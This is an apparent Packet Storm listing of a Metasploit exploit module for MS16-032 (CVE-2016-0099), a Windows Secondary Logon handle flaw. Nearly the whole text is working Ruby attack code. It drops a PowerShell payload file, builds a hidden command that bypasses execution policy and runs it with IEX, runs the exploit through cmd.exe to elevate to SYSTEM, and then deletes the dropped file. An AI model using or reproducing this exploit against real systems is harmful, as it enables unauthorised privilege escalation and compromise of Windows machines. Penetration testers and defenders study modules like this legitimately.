Lucene search

K
packetstormB33fPACKETSTORM:137881
HistoryJul 12, 2016 - 12:00 a.m.

MS16-032 Secondary Logon Handle Privilege Escalation

2016-07-1200:00:00
b33f
packetstormsecurity.com
408

0.0004 Low

EPSS

Percentile

8.6%

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'msf/core/payload_generator'  
require 'msf/core/exploit/powershell'  
require 'rex'  
  
class MetasploitModule < Msf::Exploit::Local  
  
Rank = NormalRanking  
  
include Msf::Exploit::Powershell  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::File  
include Msf::Post::Windows::ReflectiveDLLInjection  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MS16-032 Secondary Logon Handle Privilege Escalation',  
'Description' => %q{  
This module exploits the lack of sanitization of standard handles in Windows' Secondary  
Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12  
32 and 64 bit. This module will only work against those versions of Windows with  
Powershell 2.0 or later and systems with two or more CPU cores.  
},  
'License' => BSD_LICENSE,  
'Author' =>  
[  
'James Forshaw', # twitter.com/tiraniddo  
'b33f', # @FuzzySec, http://www.fuzzysecurity.com'  
'khr0x40sh'  
],  
'References' =>  
[  
[ 'MS', 'MS16-032'],  
[ 'CVE', '2016-0099'],  
[ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],  
[ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']  
],  
'DefaultOptions' =>  
{  
'WfsDelay' => 30,  
'EXITFUNC' => 'thread'  
},  
'DisclosureDate' => 'Mar 21 2016',  
'Platform' => [ 'win' ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' =>  
[  
# Tested on (32 bits):  
# * Windows 7 SP1  
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],  
# Tested on (64 bits):  
# * Windows 7 SP1  
# * Windows 8  
# * Windows 2012  
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]  
],  
'DefaultTarget' => 0  
))  
  
register_advanced_options(  
[  
OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),  
OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]),  
# How long until we DELETE file, we have a race condition here, so anything less than 60  
# seconds might break  
OptInt.new('TIMEOUT', [false, 'Execution timeout', 60])  
], self.class)  
end  
  
def get_arch  
arch = nil  
  
if sysinfo["Architecture"] =~ /(wow|x)64/i  
arch = ARCH_X86_64  
elsif sysinfo["Architecture"] =~ /x86/i  
arch = ARCH_X86  
end  
  
arch  
end  
  
def check  
os = sysinfo["OS"]  
  
if os !~ /win/i  
# Non-Windows systems are definitely not affected.  
return Exploit::CheckCode::Safe  
end  
  
Exploit::CheckCode::Detected  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
arch1 = get_arch  
if check == Exploit::CheckCode::Safe  
print_error("Target is not Windows")  
return  
elsif arch1 == nil  
print_error("Architecture could not be determined.")  
return  
end  
  
# Exploit PoC from 'b33f'  
ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1')  
vprint_status("PS1 loaded from #{ps_path}")  
ms16_032 = File.read(ps_path)  
  
cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'  
  
if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64  
cmdstr.gsub!("System32","SYSWOW64")  
print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")  
vprint_warning("#{cmdstr}")  
end  
  
# payload formatted to fit dropped text file  
payl = cmd_psh_payload(payload.encoded,payload.arch,{  
encode_final_payload: false,  
remove_comspec: true,  
method: 'old'  
})  
  
payl.sub!(/.*?(?=New-Object IO)/im, "")  
payl = payl.split("';$s.")[0]  
payl.gsub!("''","'")  
payl = "$s=#{payl}while($true){Start-Sleep 1000};"  
  
@upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt"  
path = datastore['W_PATH'] || pwd  
@upfile = "#{path}\\#{@upfile}"  
fd = session.fs.file.new(@upfile,"wb")  
print_status("Writing payload file, #{@upfile}...")  
fd.write(payl)  
fd.close  
psh_cmd = "IEX `$(gc #{@upfile})"  
  
#lpAppName  
ms16_032.gsub!("$cmd","\"#{cmdstr}\"")  
#lpcommandLine - capped at 1024b  
ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"")  
  
print_status('Compressing script contents...')  
ms16_032_c = compress_script(ms16_032)  
  
if ms16_032_c.size > 8100  
print_error("Compressed size: #{ms16_032_c.size}")  
error_msg = "Compressed size may cause command to exceed "  
error_msg += "cmd.exe's 8kB character limit."  
print_error(error_msg)  
else  
print_good("Compressed size: #{ms16_032_c.size}")  
end  
  
if datastore['DRY_RUN']  
print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}")  
return  
end  
  
print_status("Executing exploit script...")  
cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}"  
args = nil  
  
begin  
process = session.sys.process.execute(cmd, args, {  
'Hidden' => true,  
'Channelized' => false  
})  
rescue  
print_error("An error occurred executing the script.")  
end  
end  
  
def cleanup  
sleep_t = datastore['TIMEOUT']  
vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...")  
sleep sleep_t  
  
begin  
rm_f(@upfile)  
print_good("Cleaned up #{@upfile}")  
rescue  
print_error("There was an issue with cleanup of the powershell payload script.")  
end  
end  
end  
`